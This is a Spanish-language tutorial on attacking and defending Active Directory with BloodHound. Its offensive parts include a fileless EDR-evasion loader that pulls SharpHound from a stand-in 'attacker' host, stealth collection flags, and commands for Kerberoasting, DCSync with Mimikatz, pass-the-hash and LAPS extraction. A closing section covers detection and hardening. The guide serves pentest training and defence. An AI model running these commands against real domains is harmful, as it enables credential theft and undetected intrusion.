¿Qué es BloodHound?
BloodHound es una herramienta de análisis de seguridad que modela Active Directory como un grafo de relaciones. Cada nodo representa un objeto AD (usuario, computadora, grupo, GPO) y cada arista representa una relación (MemberOf, AdminTo, HasSession, GenericAll, etc.).
El problema que resuelve: En dominios AD grandes (miles de usuarios y computadoras), identificar manualmente rutas de escalada de privilegios es prácticamente imposible. BloodHound lo automatiza: ejecuta un algoritmo de "camino más corto" sobre el grafo y te muestra visualmente cómo llegar desde cualquier nodo hasta Domain Admin.
Flujo de trabajo:
- Colecta — Ejecutar SharpHound en el dominio para recopilar datos
- Carga — Importar el archivo .zip en BloodHound CE
- Análisis — Usar queries Cypher para identificar debilidades
- Explotación — Aprovechar las rutas de ataque encontradas
Importante: BloodHound es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario del dominio Active Directory.
Instalación de BloodHound CE
BloodHound Community Edition es la versión open-source actualizada, ejecutable vía Docker.
# Pull y ejecutar BloodHound CE
sudo docker pull bloodhound/bloodhound:latest
sudo docker run -d --name bloodhound \
-p 8080:80 -p 7474:7474 -p 7687:7687 \
-e BLOODHOUND_INJECTORS=true \
bloodhound/bloodhound:latest
# Login por defecto
# Usuario: admin
# Contraseña: S3cretP@ss123 (¡cambiar después!)
# Interfaz web: http://localhost:8080
SharpHound (el colector) se descarga desde GitHub o se ejecuta directamente en el dominio comprometido.
Colecta de Datos con SharpHound
SharpHound es el componente que ejecutas dentro del dominio Active Directory para recopilar la información que BloodHound necesita.
Métodos de colecta
# Método por defecto (recomendado para empezar)
# Recopila: Group Memberships, Local Admin, Sessions, ACLs, Containers, Trusts
.\\sharpound.exe -c Default -d lab.local --zip
# Método completo (más datos, más tiempo)
# Añade: Password Policies, GPOLocalGroups, UserObject, ComputerObject
.\\sharpound.exe -c All -d lab.local --zip
# Método stealth (menos ruido)
# Usa sesiones existentes en vez de conexiones nuevas
.\\sharpound.exe -c Default --stealth --loop --loopduration 02:00:00
Desde Linux (sin Windows)
# bloodhound-python — colector alternativo para Linux
pip install bloodhound
bloodhound-python -u jsmith -p 'P@ssw0rd' \
-d lab.local -dc dc01.lab.local -c All
Estrategias de evasión de EDR
# 1. Ejecutar desde memoria (fileless)
# Cargar en PowerShell sin escribir en disco
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker/sharpound.exe')
[System.Reflection.Assembly]::Load($bytes)
[SharpHoundLibrary.SharpHound]::Start()
# 2. Modo stealth con loop
# Ejecutar durante horas para capturar sesiones de usuarios activos
.\\sharpound.exe -c Default --stealth --loop --loopduration 08:00:00
# 3. Filtrar dominio específico
# Evitar colecta innecesaria en dominios trust
.\\sharpound.exe -c Default -d target.local --zip
Análisis del Grafo de Active Directory
Una vez cargado el archivo .zip en BloodHound, el grafo se renderiza automáticamente. Aquí está lo más importante.
Nodos y relaciones
| Nodo | Tipo | Representa |
|---|---|---|
| User | Usuario AD | Cuenta con credenciales NTLM |
| Computer | Máquina | Servidor o estación de trabajo |
| Group | Grupo AD | Grupo de seguridad o distribución |
| Domain | Dominio | Unidad de Active Directory |
| GPO | Group Policy | Política de grupo que aplica configuración |
| OU | Organizational Unit | Contenedor lógico de objetos |
Relaciones clave para pentesting
| Relación (Edge) | Qué significa | Cómo se explota |
|---|---|---|
MemberOf |
Usuario pertenece a grupo | Membresía en grupo de administración |
GenericAll |
Control total sobre objeto | Cambiar contraseña, añadir a grupo |
WriteDACL |
Puede modificar permisos | Auto-asignar GenericAll |
WriteOwner |
Puede cambiar propietario | Tomar control del objeto |
AddMember |
Puede añadir usuarios a grupo | Añadir cuenta propia a Domain Admins |
CanRDP |
Acceso RDP remoto | Login directo a la máquina |
HasSession |
Sesión activa del usuario | Pass-the-Hash si hay hash |
AdminTo |
Admin local de la máquina | Extraer credenciales de LSASS |
LAPSRead |
Puede leer contraseña LAPS | Admin local de cualquier máquina |
GPLink |
Puede aplicar GPO a OU | Forzar configuración en múltiples máquinas |
DCSync |
Puede replicar contraseñas | Obtener hashes de TODOS los usuarios |
Queries Cypher para Pentesting
BloodHound usa Cypher (el lenguaje de Neo4j) para consultas. Estas son las queries más útiles para pentesting de Active Directory.
Shortest Path to Domain Admin
MATCH p=shortestPath((n {owned:true})-[*1..]->(m {domain_admin:true}))
RETURN p
La query más importante. Desde cualquier nodo marcado como "owned", encuentra la ruta más corta hasta Domain Admin.
Kerberoastable Users
MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH 'KRBTGT'
RETURN u.name, u.serviceprincipalnames, u.admincount
Lista todos los usuarios con SPN configurado. Sus hashes Kerberos pueden crackearse offline.
Find All Domain Admins
MATCH (g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})<-[:MemberOf*1..5]-(u:User)
RETURN u.name, u.enabled
Muestra quién tiene acceso directo o indirecto a Domain Admin (no solo los miembros directos).
DCSync Rights
MATCH (n)-[:DS-Replication-Get-Changes]->(d:Domain)
MATCH (n)-[:DS-Replication-Get-Changes-All]->(d)
RETURN n.name, labels(n)
Usuarios o computadoras con derecho a replicar contraseñas del DC (DCSync).
Unconstrained Delegation
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN c.name, c.operatingsystem
Máquinas con delegación no restringida que pueden capturar TGTs de otros usuarios.
Owned Principals to High Value Targets
MATCH p=shortestPath(
(n {owned:true})-[*1..]->(m {highvalue:true})
)
RETURN p
Desde nodos comprometidos hasta objetivos de alto valor (DA, Exchange, etc.).
Técnicas de Explotación según Debilidad
Kerberoasting
# Rubeus — obtener hashes Kerberos
Rubeus.exe kerberoast /outfile:hashes.txt
# Crack con hashcat (mODO 13100 = Kerberoast TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
DCSync
# Mimikatz — replicar todos los hashes
mimikatz # lsadump::dcsync /all /csv
# Mimikatz — hash específico
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local
Pass-the-Hash
# Evil-WinRM con hash NTLM
evil-winrm -i 192.168.1.10 -u administrator -H <NTLM_HASH>
# CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> -x whoami
LAPS Extraction
# PowerView — leer LAPS
Get-DomainComputer -Identity "SERVER01" -Properties ms-Mcs-AdmPwd
# CrackMapExec — LAPS
crackmapexec ldap 192.168.1.1 -u user -p pass --laps
Defensa: Cómo Proteger Active Directory
Monitoreo con BloodHound SharpHound
# SharpHound genera tráfico de red específico
# Detectar con:
# 1. Event ID 4624 (Logon) + Event ID 4768 (TGT) in burst
# 2. LDAP queries masivos (eventos 2889, 1644)
# 3. DNS queries a DC desde hosts no-DC
# Usar ATA/ATP de Microsoft para detectar colecta
# Alertas: "Reconocimiento de Active Directory" = SharpHound
Reducir la superficie de ataque
# 1. Eliminar delegación no restringida
# Configurar solo en DCs y servidores que lo necesiten
# 2. Proteger cuentas con SPN
# Usar contraseñas largas (25+ caracteres) para cuentas Kerberoastable
# 3. Monitorear cambios de ACL
# Alertar sobre GenericAll, WriteDACL, WriteOwner en Domain Admins
# 4. Implementar LAPS
# Evita credenciales locales repetidas en todas las máquinas
# 5. Segmentar el dominio
# Usar OU y GPOs para limitar el alcance de compromisos
BloodHound vs. otras herramientas AD
| Característica | BloodHound | PingCastle | ADRecon | Purple Knight |
|---|---|---|---|---|
| Visualización grafo | Sí (interactive) | No (reportes) | No (texto) | Sí (basic) |
| Queries Cypher | Sí (personalizables) | No | No | No |
| SharpHound | Sí (propio) | No | PowerShell | No |
| Gratuito | Sí (CE) | Parcial | Sí | No |
| Ideal para | Pentest/Red Team | Auditoría compliance | Inventory | Blue Team |
Práctica en Laboratorios
Dominio AD de práctica
# VulnHub — "DC-1" tiene un dominio AD vulnerable
# HackTheBox — máquinas con Active Directory (ej: Forest,Active)
# TryHackMe — rooms de AD (ej: "Attacking Kerberos", "Active Directory Basics")
# GOAD — Game of Active Directory (lab completo de AD en Azure/Docker)
GOAD (Game of Active Directory)
# Instalar GOAD en Azure o local con Docker
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# Seguir instrucciones del README para provisionar
# Incluye múltiples dominios, trusts y configuraciones vulnerables
Errores Comunes
"No data returned from SharpHound"
→ Verifica que tengas credenciales válidas y que el dominio sea accesible. Prueba con -d dominio.local -dc dc01.dominio.local.
"BloodHound no muestra relaciones" → Asegúrate de que el archivo .zip se cargó correctamente. Revisa el log de ingest en la interfaz.
"Kerberoastable Users vacío" → Es normal en dominios nuevos o pequeños. Algunos dominios no tienen cuentas con SPN configurado.
"Shortest Path no encuentra rutas"
→ Marca los nodos comprometidos con SET u.owned=true antes de ejecutar la query.